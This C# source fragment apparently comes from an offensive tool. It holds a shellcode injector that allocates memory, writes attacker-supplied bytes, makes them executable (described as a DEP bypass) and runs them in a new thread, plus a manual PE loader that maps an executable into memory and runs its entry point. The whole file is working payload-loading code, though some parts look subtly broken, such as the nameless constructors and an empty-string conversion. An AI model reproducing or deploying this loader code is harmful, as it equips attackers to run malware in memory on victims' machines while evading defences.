//Basis for function, improved to bypass DEP and to take string input
//https://github.com/subTee/EvilWMIProvider/blob/master/EvilWMIProvider/EvilWMIProvider.cs
public InjectShellCode(string shellCodeString)
{
const char DELIMITER = ',';
string[] shellCodeArray = shellCodeString.Split(DELIMITER);
byte[] shellCodeBytes = new Byte[shellCodeArray.Length];
for (int i = 0; i < shellCodeArray.Length; i++)
{
int value = (int)new System.ComponentModel.Int32Converter().ConvertFromString(shellCodeArray[i]);
shellCodeBytes[i] = Convert.ToByte(value);
}
////////////////////////////////////////////////////////////////////////////////
IntPtr lpAddress = IntPtr.Zero;
UInt32 dwSize = (UInt32)shellCodeBytes.Length;
IntPtr lpBaseAddress = Unmanaged.VirtualAlloc(lpAddress, dwSize, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_READWRITE);
WriteOutput("Allocating Space at Address " + lpBaseAddress);
WriteOutput("Memory Protection Set to PAGE_READWRITE");
////////////////////////////////////////////////////////////////////////////////
Marshal.Copy(shellCodeBytes, 0, lpBaseAddress, shellCodeBytes.Length);
WriteOutput("Injected ShellCode at address " + lpBaseAddress);
////////////////////////////////////////////////////////////////////////////////
UInt32 lpflOldProtect = 0;
Boolean test = Unmanaged.VirtualProtect(lpBaseAddress, dwSize, Unmanaged.PAGE_EXECUTE_READ, ref lpflOldProtect);
WriteOutput("Altering Memory Protections to PAGE_EXECUTE_READ");
////////////////////////////////////////////////////////////////////////////////
IntPtr lpThreadAttributes = IntPtr.Zero;
UInt32 dwStackSize = 0;
IntPtr lpParameter = IntPtr.Zero;
UInt32 dwCreationFlags = 0;
UInt32 threadId = 0;
WriteOutput("Attempting to start thread");
IntPtr hThread = Unmanaged.CreateThread(lpThreadAttributes, dwStackSize, lpBaseAddress, lpParameter, dwCreationFlags, ref threadId);
WriteOutput("Started Thread: " + hThread);
////////////////////////////////////////////////////////////////////////////////
Unmanaged.WaitForSingleObject(hThread, 0xFFFFFFFF);
}
public InjectPE(PELoader peLoader, string parameters)
{
////////////////////////////////////////////////////////////////////////////////
IntPtr lpAddress = IntPtr.Zero;
UInt32 dwSize = peLoader.sizeOfImage;
IntPtr lpBaseAddress = Unmanaged.VirtualAlloc(lpAddress, dwSize, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_EXECUTE_READWRITE);
WriteOutputGood("Allocated Space For " + peLoader.sizeOfImage.ToString("X4") + " at " + lpBaseAddress.ToString("X4"));
////////////////////////////////////////////////////////////////////////////////
for (Int32 i = 0; i < peLoader.imageFileHeader.NumberOfSections; i++)
{
IntPtr lpBaseAddressSection = new IntPtr(lpBaseAddress.ToInt32() + peLoader.imageSectionHeaders[i].VirtualAddress);
UInt32 dwSizeSection = peLoader.imageSectionHeaders[i].SizeOfRawData;
IntPtr lpAllocatedAddress = Unmanaged.VirtualAlloc(lpBaseAddressSection, dwSizeSection, Unmanaged.MEM_COMMIT, Unmanaged.PAGE_EXECUTE_READWRITE);
Marshal.Copy(peLoader.imageBytes, (Int32)peLoader.imageSectionHeaders[i].PointerToRawData, lpAllocatedAddress, (Int32)peLoader.imageSectionHeaders[i].SizeOfRawData);
Console.WriteLine("Copied " + peLoader.imageSectionHeaders[i].Name + " to " + lpAllocatedAddress.ToString("X4"));
}
////////////////////////////////////////////////////////////////////////////////
IntPtr relocationTable = new IntPtr(lpBaseAddress.ToInt32() + peLoader.baseRelocationTableAddress);
Structs.IMAGE_BASE_RELOCATION relocationEntry = (Structs.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(Structs.IMAGE_BASE_RELOCATION));
Int32 sizeOfRelocationStruct = Marshal.SizeOf(typeof(Structs.IMAGE_BASE_RELOCATION));
Int32 sizeofNextBlock = (Int32)relocationEntry.SizeOfBlock;
IntPtr offset = relocationTable;
////////////////////////////////////////////////////////////////////////////////
while (true)
{
Structs.IMAGE_BASE_RELOCATION relocationNextEntry = new Structs.IMAGE_BASE_RELOCATION();
IntPtr lpNextRelocationEntry = new IntPtr(relocationTable.ToInt32() + (Int32)sizeofNextBlock);
relocationNextEntry = (Structs.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(lpNextRelocationEntry, typeof(Structs.IMAGE_BASE_RELOCATION));
IntPtr destinationAddress = new IntPtr(lpBaseAddress.ToInt32() + (Int32)relocationEntry.VirtualAdress);
////////////////////////////////////////////////////////////////////////////////
for (Int32 i = 0; i < (Int32)((relocationEntry.SizeOfBlock - sizeOfRelocationStruct) / 2); i++)
{
UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
UInt16 type = (UInt16)(value >> 12);
UInt16 fixup = (UInt16)(value & 0xfff);
switch (type)
{
case 0x0:
break;
case 0xA:
if (peLoader.is64Bit)
{
IntPtr patchAddress = new IntPtr(destinationAddress.ToInt64() + (Int32)fixup);
Int64 originalAddress = Marshal.ReadInt64(patchAddress);
Int64 delta64 = (Int64)(lpBaseAddress.ToInt64() - (Int64)peLoader.imageOptionalHeader64.ImageBase);
Marshal.WriteInt64(patchAddress, originalAddress + delta64);
}
else
{
IntPtr patchAddress = new IntPtr(destinationAddress.ToInt32() + (Int32)fixup);
Int32 originalAddress = Marshal.ReadInt32(patchAddress);
Int32 delta32 = (Int32)(lpBaseAddress.ToInt32() - (Int32)peLoader.imageOptionalHeader32.ImageBase);
Marshal.WriteInt32(patchAddress, originalAddress + delta32);
}
break;
}
}
offset = new IntPtr(relocationTable.ToInt32() + (int)sizeofNextBlock);
sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
relocationEntry = relocationNextEntry;
//"The last entry is set to zero (NULL) to indicate the end of the table." - cool
if (0 == relocationNextEntry.SizeOfBlock)
{
break;
}
}
////////////////////////////////////////////////////////////////////////////////
//http://sandsprite.com/CodeStuff/Understanding_imports.html
////////////////////////////////////////////////////////////////////////////////
Int32 sizeOfStruct = Marshal.SizeOf(typeof(Structs._IMAGE_IMPORT_DIRECTORY));
Int32 multiplier = 0;
while (true)
{
Int32 dwImportTableAddressOffset = ((sizeOfStruct * multiplier++) + peLoader.importTableAddress);
IntPtr lpImportAddressTable = new IntPtr(lpBaseAddress.ToInt32() + dwImportTableAddressOffset);
Structs._IMAGE_IMPORT_DIRECTORY imageImportDirectory = (Structs._IMAGE_IMPORT_DIRECTORY)Marshal.PtrToStructure(lpImportAddressTable, typeof(Structs._IMAGE_IMPORT_DIRECTORY));
if (0 == imageImportDirectory.RvaImportAddressTable)
{
break;
}
////////////////////////////////////////////////////////////////////////////////
IntPtr dllNamePTR = new IntPtr(lpBaseAddress.ToInt32() + imageImportDirectory.RvaModuleName);
string dllName = Marshal.PtrToStringAnsi(dllNamePTR);
IntPtr hModule = Unmanaged.LoadLibrary(dllName);
WriteOutputGood("Loaded " + dllName + " at " + hModule.ToString("X4"));
////////////////////////////////////////////////////////////////////////////////
IntPtr lpRvaImportAddressTable = new IntPtr(lpBaseAddress.ToInt32() + imageImportDirectory.RvaImportAddressTable);
while (true)
{
Int32 dwRvaImportAddressTable = Marshal.ReadInt32(lpRvaImportAddressTable);
if (0 == dwRvaImportAddressTable)
{
break;
}
else
{
IntPtr lpDllFunctionName = (new IntPtr(lpBaseAddress.ToInt32() + dwRvaImportAddressTable + 2));
string dllFunctionName = Marshal.PtrToStringAnsi(lpDllFunctionName);
IntPtr functionAddress = Unmanaged.GetProcAddress(hModule, dllFunctionName);
Marshal.WriteInt64(lpRvaImportAddressTable, (Int64)functionAddress);
lpRvaImportAddressTable = new IntPtr(lpRvaImportAddressTable.ToInt32() + 8);
}
}
}
////////////////////////////////////////////////////////////////////////////////
string parameter = "";
IntPtr lpThreadAttributes = IntPtr.Zero;
UInt32 dwStackSize = 0;
Int32 dwStartAddress = lpBaseAddress.ToInt32() + peLoader.addressOfEntryPoint;
IntPtr lpStartAddress = new IntPtr(dwStartAddress);
IntPtr lpParameter = new IntPtr(Convert.ToInt32(parameter));
UInt32 dwCreationFlags = 0;
UInt32 lpThreadId = 0;
IntPtr hThread = Unmanaged.CreateThread(lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, ref lpThreadId);
WriteOutputGood("Created thread " + hThread);
////////////////////////////////////////////////////////////////////////////////
Unmanaged.WaitForSingleObject(hThread, 0xFFFFFFFF);
}